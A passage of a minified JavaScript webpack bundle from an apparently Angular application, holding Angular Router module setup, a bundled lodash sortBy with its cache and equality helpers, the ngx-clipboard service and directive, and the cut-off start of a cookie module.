forRoot guard":"ROUTER_FORROOT_GUARD"),n2=[G.Ye,{provide:J,useClass:Ae},Jn,Ci,{provide:ei,useFactory:function U2(M){return M.routerState.root},deps:[Jn]},ji,y2?{provide:T2,useValue:!0}:[]];function R2(){return new n.PXZ("Router",Jn)}let Sr=(()=>{class M{constructor(p){}static forRoot(p,V){return{ngModule:M,providers:[n2,y2&&V?.enableTracing?ra().\\u0275providers:[],{provide:Ai,multi:!0,useValue:p},{provide:Ar,useFactory:Ea,deps:[[Jn,new n.FiY,new n.tp0]]},{provide:V2,useValue:V||{}},V?.useHash?{provide:G.S$,useClass:G.Do}:{provide:G.S$,useClass:G.b0},{provide:q2,useFactory:()=>{const M=(0,n.f3M)(G.EM),A=(0,n.f3M)(n.R0b),p=(0,n.f3M)(V2),V=(0,n.f3M)(K2),ne=(0,n.f3M)(J);return p.scrollOffset&&M.setOffset(p.scrollOffset),new Dr(ne,V,M,A,p)}},V?.preloadingStrategy?G2(V.preloadingStrategy).\\u0275providers:[],{provide:n.PXZ,multi:!0,useFactory:R2},V?.initialNavigation?sa(V):[],[{provide:oa,useFactory:Ur},{provide:n.tb,multi:!0,useExisting:oa}]]}}static forChild(p){return{ngModule:M,providers:[{provide:Ai,multi:!0,useValue:p}]}}}return M.\\u0275fac=function(p){return new(p||M)(n.LFG(Ar,8))},M.\\u0275mod=n.oAB({type:M}),M.\\u0275inj=n.cJS({imports:[Gi]}),M})();function Ea(M){if(y2&&M)throw new n.vHH(4007,"The Router was provided more than once. This can happen if \'forRoot\' is used outside of the root injector. Lazy loaded modules should use RouterModule.forChild() instead.");return"guarded"}function sa(M){return["disabled"===M.initialNavigation?d2(3,[{provide:n.ip1,multi:!0,useFactory:()=>{const A=(0,n.f3M)(Jn);return()=>{A.setUpLocationChangeListener()}}},{provide:wr,useValue:2}]).\\u0275providers:[],"enabledBlocking"===M.initialNavigation?d2(2,[{provide:wr,useValue:0},{provide:n.ip1,multi:!0,deps:[n.zs3],useFactory:A=>{const p=A.get(G.V_,Promise.resolve());return()=>p.then(()=>new Promise(V=>{const ne=A.get(Jn),He=A.get(Gr);(function B2(M,A){M.events.pipe((0,K.h)(p=>p instanceof Pn||p instanceof Fn||p instanceof $n||p instanceof An),(0,Q.U)(p=>p instanceof Pn||p instanceof An?oi.COMPLETE:p instanceof Fn&&(0===p.code||1===p.code)?oi.REDIRECTING:oi.FAILED),(0,K.h)(p=>p!==oi.REDIRECTING),(0,Ce.q)(1)).subscribe(()=>{A()})})(ne,()=>{V(!0)}),A.get(K2).afterPreactivation=()=>(V(!0),He.closed?(0,s.of)(void 0):He),ne.initialNavigation()}))}}]).\\u0275providers:[]]}const oa=new n.OlP(y2?"Router Initializer":"")},7163:(At,ae,d)=>{"use strict";d.d(ae,{Z:()=>Pa});const a=function n(ge,et){for(var St=-1,Bt=et.length,n1=ge.length;++St<Bt;)ge[n1+St]=et[St];return ge},u="object"==typeof global&&global&&global.Object===Object&&global;var c="object"==typeof self&&self&&self.Object===Object&&self;const E=u||c||Function("return this")(),S=E.Symbol;var g=Object.prototype,C=g.hasOwnProperty,z=g.toString,H=S?S.toStringTag:void 0;var Q=Object.prototype.toString;var se=S?S.toStringTag:void 0;const q=function ee(ge){return null==ge?void 0===ge?"[object Undefined]":"[object Null]":se&&se in Object(ge)?function j(ge){var et=C.call(ge,H),St=ge[H];try{ge[H]=void 0;var Bt=!0}catch{}var n1=z.call(ge);return Bt&&(et?ge[H]=St:delete ge[H]),n1}(ge):function oe(ge){return Q.call(ge)}(ge)},ce=function we(ge){return null!=ge&&"object"==typeof ge};const le=function Ze(ge){return ce(ge)&&"[object Arguments]"==q(ge)};var Oe=Object.prototype,Qe=Oe.hasOwnProperty,Ye=Oe.propertyIsEnumerable,qe=le(function(){return arguments}())?le:function(ge){return ce(ge)&&Qe.call(ge,"callee")&&!Ye.call(ge,"callee")};const Ke=qe,bt=Array.isArray;var ze=S?S.isConcatSpreadable:void 0;const re=function De(ge){return bt(ge)||Ke(ge)||!!(ze&&ge&&ge[ze])},We=function ve(ge,et,St,Bt,n1){var e1=-1,x1=ge.length;for(St||(St=re),n1||(n1=[]);++e1<x1;){var k1=ge[e1];et>0&&St(k1)?et>1?ve(k1,et-1,St,Bt,n1):a(n1,k1):Bt||(n1[n1.length]=k1)}return n1},Be=function xt(ge,et){for(var St=-1,Bt=null==ge?0:ge.length,n1=Array(Bt);++St<Bt;)n1[St]=et(ge[St],St,ge);return n1};const w=function P(ge){return"symbol"==typeof ge||ce(ge)&&"[object Symbol]"==q(ge)};var R=/\\.|\\[(?:[^[\\]]*|(["\'])(?:(?!\\1)[^\\\\]|\\\\.)*?\\1)\\]/,X=/^\\w*$/;const ct=function _e(ge,et){if(bt(ge))return!1;var St=typeof ge;return!("number"!=St&&"symbol"!=St&&"boolean"!=St&&null!=ge&&!w(ge))||X.test(ge)||!R.test(ge)||null!=et&&ge in Object(et)},Et=function Je(ge){var et=typeof ge;return null!=ge&&("object"==et||"function"==et)};const m=function x(ge){if(!Et(ge))return!1;var et=q(ge);return"[object Function]"==et||"[object GeneratorFunction]"==et||"[object AsyncFunction]"==et||"[object Proxy]"==et};var ge,b=E["__core-js_shared__"],ie=(ge=/[^.]+$/.exec(b&&b.keys&&b.keys.IE_PROTO||""))?"Symbol(src)_1."+ge:"";var Vt=Function.prototype.toString;const qt=function Gt(ge){if(null!=ge){try{return Vt.call(ge)}catch{}try{return ge+""}catch{}}return""};var c1=/^\\[object .+?Constructor\\]$/,be=RegExp("^"+Function.prototype.toString.call(Object.prototype.hasOwnProperty).replace(/[\\\\^$.*+?()[\\]{}|]/g,"\\\\$&").replace(/hasOwnProperty|(function).*?(?=\\\\\\()| for .+?(?=\\\\\\])/g,"$1.*?")+"$");const Re=function Pe(ge){return!(!Et(ge)||function Xe(ge){return!!ie&&ie in ge}(ge))&&(m(ge)?be:c1).test(qt(ge))},Ae=function J(ge,et){var St=function Ue(ge,et){return ge?.[et]}(ge,et);return Re(St)?St:void 0},Ct=Ae(Object,"create");var Se=Object.prototype.hasOwnProperty;var Rt=Object.prototype.hasOwnProperty;function nn(ge){var et=-1,St=null==ge?0:ge.length;for(this.clear();++et<St;){var Bt=ge[et];this.set(Bt[0],Bt[1])}}nn.prototype.clear=function jt(){this.__data__=Ct?Ct(null):{},this.size=0},nn.prototype.delete=function nt(ge){var et=this.has(ge)&&delete this.__data__[ge];return this.size-=et?1:0,et},nn.prototype.get=function ot(ge){var et=this.__data__;if(Ct){var St=et[ge];return"__lodash_hash_undefined__"===St?void 0:St}return Se.call(et,ge)?et[ge]:void 0},nn.prototype.has=function Zt(ge){var et=this.__data__;return Ct?void 0!==et[ge]:Rt.call(et,ge)},nn.prototype.set=function G1(ge,et){var St=this.__data__;return this.size+=this.has(ge)?0:1,St[ge]=Ct&&void 0===et?"__lodash_hash_undefined__":et,this};const P1=nn,Me=function vt(ge,et){return ge===et||ge!=ge&&et!=et},de=function O(ge,et){for(var St=ge.length;St--;)if(Me(ge[St][0],et))return St;return-1};var $=Array.prototype.splice;function Y1(ge){var et=-1,St=null==ge?0:ge.length;for(this.clear();++et<St;){var Bt=ge[et];this.set(Bt[0],Bt[1])}}Y1.prototype.clear=function on(){this.__data__=[],this.size=0},Y1.prototype.delete=function ke(ge){var et=this.__data__,St=de(et,ge);return!(St<0||(St==et.length-1?et.pop():$.call(et,St,1),--this.size,0))},Y1.prototype.get=function Wt(ge){var et=this.__data__,St=de(et,ge);return St<0?void 0:et[St][1]},Y1.prototype.has=function w1(ge){return de(this.__data__,ge)>-1},Y1.prototype.set=function h1(ge,et){var St=this.__data__,Bt=de(St,ge);return Bt<0?(++this.size,St.push([ge,et])):St[Bt][1]=et,this};const T1=Y1,vn=Ae(E,"Map"),fn=function ci(ge,et){var St=ge.__data__;return function Gn(ge){var et=typeof ge;return"string"==et||"number"==et||"symbol"==et||"boolean"==et?"__proto__"!==ge:null===ge}(et)?St["string"==typeof et?"string":"hash"]:St.map};function L1(ge){var et=-1,St=null==ge?0:ge.length;for(this.clear();++et<St;){var Bt=ge[et];this.set(Bt[0],Bt[1])}}L1.prototype.clear=function E1(){this.size=0,this.__data__={hash:new P1,map:new(vn||T1),string:new P1}},L1.prototype.delete=function Rn(ge){var et=fn(this,ge).delete(ge);return this.size-=et?1:0,et},L1.prototype.get=function X1(ge){return fn(this,ge).get(ge)},L1.prototype.has=function Fn(ge){return fn(this,ge).has(ge)},L1.prototype.set=function $n(ge,et){var St=fn(this,ge),Bt=St.size;return St.set(ge,et),this.size+=St.size==Bt?0:1,this};const Cn=L1;var Mn="Expected a function";function di(ge,et){if("function"!=typeof ge||null!=et&&"function"!=typeof et)throw new TypeError(Mn);var St=function(){var Bt=arguments,n1=et?et.apply(this,Bt):Bt[0],e1=St.cache;if(e1.has(n1))return e1.get(n1);var x1=ge.apply(this,Bt);return St.cache=e1.set(n1,x1)||e1,x1};return St.cache=new(di.Cache||Cn),St}di.Cache=Cn;const ri=di;var u2=/[^.[\\]]+|\\[(?:(-?\\d+(?:\\.\\d+)?)|(["\'])((?:(?!\\2)[^\\\\]|\\\\.)*?)\\2)\\]|(?=(?:\\.|\\[\\])(?:\\.|\\[\\]|$))/g,dn=/\\\\(\\\\)?/g,Sn=function Nn(ge){var et=ri(ge,function(Bt){return 500===St.size&&St.clear(),Bt}),St=et.cache;return et}(function(ge){var et=[];return 46===ge.charCodeAt(0)&&et.push(""),ge.replace(u2,function(St,Bt,n1,e1){et.push(n1?e1.replace(dn,"$1"):Bt||St)}),et});const Ei=Sn;var ui=S?S.prototype:void 0,pn=ui?ui.toString:void 0;const Qi=function Fi(ge){if("string"==typeof ge)return ge;if(bt(ge))return Be(ge,Fi)+"";if(w(ge))return pn?pn.call(ge):"";var et=ge+"";return"0"==et&&1/ge==-Infinity?"-0":et},hi=function zi(ge){return null==ge?"":Qi(ge)},Ti=function Kn(ge,et){return bt(ge)?ge:ct(ge,et)?[ge]:Ei(hi(ge))};const Ni=function h2(ge){if("string"==typeof ge||w(ge))return ge;var et=ge+"";return"0"==et&&1/ge==-Infinity?"-0":et},Zn=function ei(ge,et){for(var St=0,Bt=(et=Ti(et,ge)).length;null!=ge&&St<Bt;)ge=ge[Ni(et[St++])];return St&&St==Bt?ge:void 0};function jn(ge){var et=this.__data__=new T1(ge);this.size=et.size}jn.prototype.clear=function Hi(){this.__data__=new T1,this.size=0},jn.prototype.delete=function Vi(ge){var et=this.__data__,St=et.delete(ge);return this.size=et.size,St},jn.prototype.get=function x2(ge){return this.__data__.get(ge)},jn.prototype.has=function Bi(ge){return this.__data__.has(ge)},jn.prototype.set=function mn(ge,et){var St=this.__data__;if(St instanceof T1){var Bt=St.__data__;if(!vn||Bt.length<199)return Bt.push([ge,et]),this.size=++St.size,this;St=this.__data__=new Cn(Bt)}return St.set(ge,et),this.size=St.size,this};const fi=jn;function ti(ge){var et=-1,St=null==ge?0:ge.length;for(this.__data__=new Cn;++et<St;)this.add(ge[et])}ti.prototype.add=ti.prototype.push=function o2(ge){return this.__data__.set(ge,"__lodash_hash_undefined__"),this},ti.prototype.has=function ki(ge){return this.__data__.has(ge)};const Oi=ti,bn=function Xi(ge,et){for(var St=-1,Bt=null==ge?0:ge.length;++St<Bt;)if(et(ge[St],St,ge))return!0;return!1},un=function Gi(ge,et){return ge.has(et)};const _n=function m2(ge,et,St,Bt,n1,e1){var x1=1&St,k1=ge.length,J1=et.length;if(k1!=J1&&!(x1&&J1>k1))return!1;var Z1=e1.get(ge),a2=e1.get(et);if(Z1&&a2)return Z1==et&&a2==ge;var $i=-1,ii=!0,b2=2&St?new Oi:void 0;for(e1.set(ge,et),e1.set(et,ge);++$i<k1;){var s2=ge[$i],E2=et[$i];if(Bt)var C2=x1?Bt(E2,s2,$i,et,ge,e1):Bt(s2,E2,$i,ge,et,e1);if(void 0!==C2){if(C2)continue;ii=!1;break}if(b2){if(!bn(et,function(tr,nr){if(!un(b2,nr)&&(s2===tr||n1(s2,tr,St,Bt,e1)))return b2.push(nr)})){ii=!1;break}}else if(s2!==E2&&!n1(s2,E2,St,Bt,e1)){ii=!1;break}}return e1.delete(ge),e1.delete(et),ii},pi=E.Uint8Array,Vn=function si(ge){var et=-1,St=Array(ge.size);return ge.forEach(function(Bt,n1){St[++et]=[n1,Bt]}),St},xn=function v2(ge){var et=-1,St=Array(ge.size);return ge.forEach(function(Bt){St[++et]=Bt}),St};var Tt=S?S.prototype:void 0,t1=Tt?Tt.valueOf:void 0;var Wn=Object.prototype.propertyIsEnumerable,Te=Object.getOwnPropertySymbols,y=Te?function(ge){return null==ge?[]:(ge=Object(ge),function Dn(ge,et){for(var St=-1,Bt=null==ge?0:ge.length,n1=0,e1=[];++St<Bt;){var x1=ge[St];et(x1,St,ge)&&(e1[n1++]=x1)}return e1}(Te(ge),function(et){return Wn.call(ge,et)}))}:function Yn(){return[]};const D=y;var Mt="object"==typeof exports&&exports&&!exports.nodeType&&exports,Ft=Mt&&"object"==typeof module&&module&&!module.nodeType&&module,o1=Ft&&Ft.exports===Mt?E.Buffer:void 0;const A1=(o1?o1.isBuffer:void 0)||function rt(){return!1};var S1=/^(?:0|[1-9]\\d*)$/;const tn=function Q1(ge,et){var St=typeof ge;return!!(et=et??9007199254740991)&&("number"==St||"symbol"!=St&&S1.test(ge))&&ge>-1&&ge%1==0&&ge<et};const wn=function En(ge){return"number"==typeof ge&&ge>-1&&ge%1==0&&ge<=9007199254740991};var g1={};g1["[object Float32Array]"]=g1["[object Float64Array]"]=g1["[object Int8Array]"]=g1["[object Int16Array]"]=g1["[object Int32Array]"]=g1["[object Uint8Array]"]=g1["[object Uint8ClampedArray]"]=g1["[object Uint16Array]"]=g1["[object Uint32Array]"]=!0,g1["[object Arguments]"]=g1["[object Array]"]=g1["[object ArrayBuffer]"]=g1["[object Boolean]"]=g1["[object DataView]"]=g1["[object Date]"]=g1["[object Error]"]=g1["[object Function]"]=g1["[object Map]"]=g1["[object Number]"]=g1["[object Object]"]=g1["[object RegExp]"]=g1["[object Set]"]=g1["[object String]"]=g1["[object WeakMap]"]=!1;const rn=function Ln(ge){return function(et){return ge(et)}};var kn="object"==typeof exports&&exports&&!exports.nodeType&&exports,Di=kn&&"object"==typeof module&&module&&!module.nodeType&&module,t2=Di&&Di.exports===kn&&u.process,mi=function(){try{return Di&&Di.require&&Di.require("util").types||t2&&t2.binding&&t2.binding("util")}catch{}}(),Ai=mi&&mi.isTypedArray;const or=Ai?rn(Ai):function B1(ge){return ce(ge)&&wn(ge.length)&&!!g1[q(ge)]};var br=Object.prototype.hasOwnProperty;const Cr=function K2(ge,et){var St=bt(ge),Bt=!St&&Ke(ge),n1=!St&&!Bt&&A1(ge),e1=!St&&!Bt&&!n1&&or(ge),x1=St||Bt||n1||e1,k1=x1?function Z(ge,et){for(var St=-1,Bt=Array(ge);++St<ge;)Bt[St]=et(St);return Bt}(ge.length,String):[],J1=k1.length;for(var Z1 in ge)(et||br.call(ge,Z1))&&(!x1||!("length"==Z1||n1&&("offset"==Z1||"parent"==Z1)||e1&&("buffer"==Z1||"byteLength"==Z1||"byteOffset"==Z1)||tn(Z1,J1)))&&k1.push(Z1);return k1};var Rr=Object.prototype;var Fr=function cr(ge,et){return function(St){return ge(et(St))}}(Object.keys,Object);const V2=Fr;var Jr=Object.prototype.hasOwnProperty;const Nr=function lr(ge){if(!function _2(ge){var et=ge&&ge.constructor;return ge===("function"==typeof et&&et.prototype||Rr)}(ge))return V2(ge);var et=[];for(var St in Object(ge))Jr.call(ge,St)&&"constructor"!=St&&et.push(St);return et},Z2=function Hr(ge){return null!=ge&&wn(ge.length)&&!m(ge)},Jn=function Xr(ge){return Z2(ge)?Cr(ge):Nr(ge)},Q2=function k2(ge){return function W1(ge,et,St){var Bt=et(ge);return bt(ge)?Bt:a(Bt,St(ge))}(ge,Jn,D)};var O2=Object.prototype.hasOwnProperty;const q2=Ae(E,"DataView"),oi=Ae(E,"Promise"),Ri=Ae(E,"Set"),U2=Ae(E,"WeakMap");var d2="[object Map]",dr="[object Promise]",na="[object Set]",yn="[object WeakMap]",Ur="[object DataView]",Gr=qt(q2),wr=qt(vn),Aa=qt(oi),ia=qt(Ri),ra=qt(U2),I2=q;(q2&&I2(new q2(new ArrayBuffer(1)))!=Ur||vn&&I2(new vn)!=d2||oi&&I2(oi.resolve())!=dr||Ri&&I2(new Ri)!=na||U2&&I2(new U2)!=yn)&&(I2=function(ge){var et=q(ge),St="[object Object]"==et?ge.constructor:void 0,Bt=St?qt(St):"";if(Bt)switch(Bt){case Gr:return Ur;case wr:return d2;case Aa:return dr;case ia:return na;case ra:return yn}return et});const G2=I2;var Sa="[object Arguments]",Xn="[object Array]",y2="[object Object]",Ar=Object.prototype.hasOwnProperty;const R2=function n2(ge,et,St,Bt,n1,e1){var x1=bt(ge),k1=bt(et),J1=x1?Xn:G2(ge),Z1=k1?Xn:G2(et),a2=(J1=J1==Sa?y2:J1)==y2,$i=(Z1=Z1==Sa?y2:Z1)==y2,ii=J1==Z1;if(ii&&A1(ge)){if(!A1(et))return!1;x1=!0,a2=!1}if(ii&&!a2)return e1||(e1=new fi),x1||or(ge)?_n(ge,et,St,Bt,n1,e1):function O1(ge,et,St,Bt,n1,e1,x1){switch(St){case"[object DataView]":if(ge.byteLength!=et.byteLength||ge.byteOffset!=et.byteOffset)return!1;ge=ge.buffer,et=et.buffer;case"[object ArrayBuffer]":return!(ge.byteLength!=et.byteLength||!e1(new pi(ge),new pi(et)));case"[object Boolean]":case"[object Date]":case"[object Number]":return Me(+ge,+et);case"[object Error]":return ge.name==et.name&&ge.message==et.message;case"[object RegExp]":case"[object String]":return ge==et+"";case"[object Map]":var k1=Vn;case"[object Set]":if(k1||(k1=xn),ge.size!=et.size&&!(1&Bt))return!1;var Z1=x1.get(ge);if(Z1)return Z1==et;Bt|=2,x1.set(ge,et);var a2=_n(k1(ge),k1(et),Bt,n1,e1,x1);return x1.delete(ge),a2;case"[object Symbol]":if(t1)return t1.call(ge)==t1.call(et)}return!1}(ge,et,J1,St,Bt,n1,e1);if(!(1&St)){var b2=a2&&Ar.call(ge,"__wrapped__"),s2=$i&&Ar.call(et,"__wrapped__");if(b2||s2){var E2=b2?ge.value():ge,C2=s2?et.value():et;return e1||(e1=new fi),n1(E2,C2,St,Bt,e1)}}return!!ii&&(e1||(e1=new fi),function ea(ge,et,St,Bt,n1,e1){var x1=1&St,k1=Q2(ge),J1=k1.length;if(J1!=Q2(et).length&&!x1)return!1;for(var $i=J1;$i--;){var ii=k1[$i];if(!(x1?ii in et:O2.call(et,ii)))return!1}var b2=e1.get(ge),s2=e1.get(et);if(b2&&s2)return b2==et&&s2==ge;var E2=!0;e1.set(ge,et),e1.set(et,ge);for(var C2=x1;++$i<J1;){var tr=ge[ii=k1[$i]],nr=et[ii];if(Bt)var $r=x1?Bt(nr,tr,ii,et,ge,e1):Bt(tr,nr,ii,ge,et,e1);if(!(void 0===$r?tr===nr||n1(tr,nr,St,Bt,e1):$r)){E2=!1;break}C2||(C2="constructor"==ii)}if(E2&&!C2){var ir=ge.constructor,zr=et.constructor;ir!=zr&&"constructor"in ge&&"constructor"in et&&!("function"==typeof ir&&ir instanceof ir&&"function"==typeof zr&&zr instanceof zr)&&(E2=!1)}return e1.delete(ge),e1.delete(et),E2}(ge,et,St,Bt,n1,e1))},X2=function Sr(ge,et,St,Bt,n1){return ge===et||(null==ge||null==et||!ce(ge)&&!ce(et)?ge!=ge&&et!=et:R2(ge,et,St,Bt,Sr,n1))};const Pi=function oa(ge){return ge==ge&&!Et(ge)},p=function A(ge,et){return function(St){return null!=St&&St[ge]===et&&(void 0!==et||ge in Object(St))}},ne=function V(ge){var et=function jr(ge){for(var et=Jn(ge),St=et.length;St--;){var Bt=et[St],n1=ge[Bt];et[St]=[Bt,n1,Pi(n1)]}return et}(ge);return 1==et.length&&et[0][2]?p(et[0][0],et[0][1]):function(St){return St===ge||function Ea(ge,et,St,Bt){var n1=St.length,e1=n1,x1=!Bt;if(null==ge)return!e1;for(ge=Object(ge);n1--;){var k1=St[n1];if(x1&&k1[2]?k1[1]!==ge[k1[0]]:!(k1[0]in ge))return!1}for(;++n1<e1;){var J1=(k1=St[n1])[0],Z1=ge[J1],a2=k1[1];if(x1&&k1[2]){if(void 0===Z1&&!(J1 in ge))return!1}else{var $i=new fi;if(Bt)var ii=Bt(Z1,a2,J1,ge,et,$i);if(!(void 0===ii?X2(a2,Z1,3,Bt,$i):ii))return!1}}return!0}(St,ge,et)}},$t=function Lt(ge,et){return null!=ge&&et in Object(ge)},On=function q1(ge,et){return null!=ge&&function d1(ge,et,St){for(var Bt=-1,n1=(et=Ti(et,ge)).length,e1=!1;++Bt<n1;){var x1=Ni(et[Bt]);if(!(e1=null!=ge&&St(ge,x1)))break;ge=ge[x1]}return e1||++Bt!=n1?e1:!!(n1=null==ge?0:ge.length)&&wn(n1)&&tn(x1,n1)&&(bt(ge)||Ke(ge))}(ge,et,$t)};const r2=function P2(ge,et){return ct(ge)&&Pi(et)?p(Ni(ge),et):function(St){var Bt=function He(ge,et,St){var Bt=null==ge?void 0:Zn(ge,et);return void 0===Bt?St:Bt}(St,ge);return void 0===Bt&&Bt===et?On(St,ge):X2(et,Bt,3)}},S2=function hr(ge){return ge},ss=function Er(ge){return ct(ge)?function Yr(ge){return function(et){return et?.[ge]}}(Ni(ge)):function as(ge){return function(et){return Zn(et,ge)}}(ge)},za=function js(ge){return"function"==typeof ge?ge:null==ge?S2:"object"==typeof ge?bt(ge)?r2(ge[0],ge[1]):ne(ge):ss(ge)};var cs=function os(ge){return function(et,St,Bt){for(var n1=-1,e1=Object(et),x1=Bt(et),k1=x1.length;k1--;){var J1=x1[ge?k1:++n1];if(!1===St(e1[J1],J1,e1))break}return et}}();const Ta=cs;var ka=function La(ge,et){return function(St,Bt){if(null==St)return St;if(!Z2(St))return ge(St,Bt);for(var n1=St.length,e1=et?n1:-1,x1=Object(St);(et?e1--:++e1<n1)&&!1!==Bt(x1[e1],e1,x1););return St}}(function ls(ge,et){return ge&&Ta(ge,et,Jn)});const Ws=ka,Ks=function la(ge,et){if(ge!==et){var St=void 0!==ge,Bt=null===ge,n1=ge==ge,e1=w(ge),x1=void 0!==et,k1=null===et,J1=et==et,Z1=w(et);if(!k1&&!Z1&&!e1&&ge>et||e1&&x1&&J1&&!k1&&!Z1||Bt&&x1&&J1||!St&&J1||!n1)return 1;if(!Bt&&!e1&&!Z1&&ge<et||Z1&&St&&n1&&!Bt&&!e1||k1&&St&&n1||!x1&&n1||!J1)return-1}return 0},qs=function Qs(ge,et,St){et=et.length?Be(et,function(e1){return bt(e1)?function(x1){return Zn(x1,1===e1.length?e1[0]:e1)}:e1}):[S2];var Bt=-1;et=Be(et,rn(za));var n1=function ca(ge,et){var St=-1,Bt=Z2(ge)?Array(ge.length):[];return Ws(ge,function(n1,e1,x1){Bt[++St]=et(n1,e1,x1)}),Bt}(ge,function(e1,x1,k1){return{criteria:Be(et,function(Z1){return Z1(e1)}),index:++Bt,value:e1}});return function ds(ge,et){var St=ge.length;for(ge.sort(et);St--;)ge[St]=ge[St].value;return ge}(n1,function(e1,x1){return function Zs(ge,et,St){for(var Bt=-1,n1=ge.criteria,e1=et.criteria,x1=n1.length,k1=St.length;++Bt<x1;){var J1=Ks(n1[Bt],e1[Bt]);if(J1)return Bt>=k1?J1:J1*("desc"==St[Bt]?-1:1)}return ge.index-et.index}(e1,x1,St)})},Xs=function Js(ge,et,St){switch(St.length){case 0:return ge.call(et);case 1:return ge.call(et,St[0]);case 2:return ge.call(et,St[0],St[1]);case 3:return ge.call(et,St[0],St[1],St[2])}return ge.apply(et,St)};var hs=Math.max;const Oa=function ha(ge){return function(){return ge}};var fa=function(){try{var ge=Ae(Object,"defineProperty");return ge({},"",{}),ge}catch{}}();const pa=fa;var L2=pa?function(ge,et){return pa(ge,"toString",{configurable:!0,enumerable:!1,value:Oa(et),writable:!0})}:S2,ms=800,gs=16,Ia=Date.now,vs=function ma(ge){var et=0,St=0;return function(){var Bt=Ia(),n1=gs-(Bt-St);if(St=Bt,n1>0){if(++et>=ms)return arguments[0]}else et=0;return ge.apply(void 0,arguments)}}(L2);const _s=vs,Wi=function bs(ge,et,St){if(!Et(St))return!1;var Bt=typeof et;return!!("number"==Bt?Z2(St)&&tn(et,St.length):"string"==Bt&&et in St)&&Me(St[et],ge)};var ga=function Ra(ge,et){return _s(function fs(ge,et,St){return et=hs(void 0===et?ge.length-1:et,0),function(){for(var Bt=arguments,n1=-1,e1=hs(Bt.length-et,0),x1=Array(e1);++n1<e1;)x1[n1]=Bt[et+n1];n1=-1;for(var k1=Array(et+1);++n1<et;)k1[n1]=Bt[n1];return k1[et]=St(x1),Xs(ge,this,k1)}}(ge,et,S2),ge+"")}(function(ge,et){if(null==ge)return[];var St=et.length;return St>1&&Wi(ge,et[0],et[1])?et=[]:St>2&&Wi(et[0],et[1],et[2])&&(et=[et[0]]),qs(ge,We(et,1),[])});const Pa=ga},3447:(At,ae,d)=>{"use strict";d.d(ae,{yb:()=>f,Iq:()=>_});var n=d(6895),a=d(4650);const s=new a.OlP("WindowToken",typeof window<"u"&&window.document?{providedIn:"root",factory:()=>window}:{providedIn:"root",factory:()=>{}});var u=d(8929);let c=(()=>{class S{constructor(C,z,H){this.ngZone=C,this.document=z,this.window=H,this.copySubject=new u.xQ,this.copyResponse$=this.copySubject.asObservable(),this.config={}}configure(C){this.config=C}copy(C){if(!this.isSupported||!C)return this.pushCopyResponse({isSuccess:!1,content:C});const z=this.copyFromContent(C);return this.pushCopyResponse(z?{content:C,isSuccess:z}:{isSuccess:!1,content:C})}get isSupported(){return!!this.document.queryCommandSupported&&!!this.document.queryCommandSupported("copy")&&!!this.window}isTargetValid(C){if(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement){if(C.hasAttribute("disabled"))throw new Error(\'Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute\');return!0}throw new Error("Target should be input or textarea")}copyFromInputElement(C,z=!0){try{this.selectTarget(C);const H=this.copyText();return this.clearSelection(z?C:void 0,this.window),H&&this.isCopySuccessInIE11()}catch{return!1}}isCopySuccessInIE11(){const C=this.window.clipboardData;return!(C&&C.getData&&!C.getData("Text"))}copyFromContent(C,z=this.document.body){if(this.tempTextArea&&!z.contains(this.tempTextArea)&&this.destroy(this.tempTextArea.parentElement||void 0),!this.tempTextArea){this.tempTextArea=this.createTempTextArea(this.document,this.window);try{z.appendChild(this.tempTextArea)}catch{throw new Error("Container should be a Dom element")}}this.tempTextArea.value=C;const H=this.copyFromInputElement(this.tempTextArea,!1);return this.config.cleanUpAfterCopy&&this.destroy(this.tempTextArea.parentElement||void 0),H}destroy(C=this.document.body){this.tempTextArea&&(C.removeChild(this.tempTextArea),this.tempTextArea=void 0)}selectTarget(C){return C.select(),C.setSelectionRange(0,C.value.length),C.value.length}copyText(){return this.document.execCommand("copy")}clearSelection(C,z){C&&C.focus(),z.getSelection()?.removeAllRanges()}createTempTextArea(C,z){const H="rtl"===C.documentElement.getAttribute("dir");let j;return j=C.createElement("textarea"),j.style.fontSize="12pt",j.style.border="0",j.style.padding="0",j.style.margin="0",j.style.position="absolute",j.style[H?"right":"left"]="-9999px",j.style.top=(z.pageYOffset||C.documentElement.scrollTop)+"px",j.setAttribute("readonly",""),j}pushCopyResponse(C){this.copySubject.observers.length>0&&this.ngZone.run(()=>{this.copySubject.next(C)})}pushCopyReponse(C){this.pushCopyResponse(C)}}return S.\\u0275fac=function(C){return new(C||S)(a.LFG(a.R0b),a.LFG(n.K0),a.LFG(s,8))},S.\\u0275prov=a.Yz7({token:S,factory:S.\\u0275fac,providedIn:"root"}),S})(),f=(()=>{class S{constructor(C,z,H,j){this.ngZone=C,this.host=z,this.renderer=H,this.clipboardSrv=j,this.cbOnSuccess=new a.vpe,this.cbOnError=new a.vpe,this.onClick=U=>{this.clipboardSrv.isSupported?this.targetElm&&this.clipboardSrv.isTargetValid(this.targetElm)?this.handleResult(this.clipboardSrv.copyFromInputElement(this.targetElm),this.targetElm.value,U):this.cbContent&&this.handleResult(this.clipboardSrv.copyFromContent(this.cbContent,this.container),this.cbContent,U):this.handleResult(!1,void 0,U)}}ngOnInit(){this.ngZone.runOutsideAngular(()=>{this.clickListener=this.renderer.listen(this.host.nativeElement,"click",this.onClick)})}ngOnDestroy(){this.clickListener&&this.clickListener(),this.clipboardSrv.destroy(this.container)}handleResult(C,z,H){let j={isSuccess:C,content:z,successMessage:this.cbSuccessMsg,event:H};C?this.cbOnSuccess.observed&&this.ngZone.run(()=>{this.cbOnSuccess.emit(j)}):this.cbOnError.observed&&this.ngZone.run(()=>{this.cbOnError.emit(j)}),this.clipboardSrv.pushCopyResponse(j)}}return S.\\u0275fac=function(C){return new(C||S)(a.Y36(a.R0b),a.Y36(a.SBq),a.Y36(a.Qsj),a.Y36(c))},S.\\u0275dir=a.lG2({type:S,selectors:[["","ngxClipboard",""]],inputs:{targetElm:["ngxClipboard","targetElm"],container:"container",cbContent:"cbContent",cbSuccessMsg:"cbSuccessMsg"},outputs:{cbOnSuccess:"cbOnSuccess",cbOnError:"cbOnError"}}),S})(),_=(()=>{class S{}return S.\\u0275fac=function(C){return new(C||S)},S.\\u0275mod=a.oAB({type:S}),S.\\u0275inj=a.cJS({imports:[[n.ez]]}),S})()},6201:(At,ae,d)=>{"use strict";d.d(ae,{N_:()=>j,m$:()=>Q});var n=d(4650),a=d(6895);const s=new n.OlP("COOKIE_OPTIONS"),u=new n.OlP("COOKIE_WRITER");function c(oe){return null==oe}function f(oe){return!c(oe)}function S(oe,Ce){return 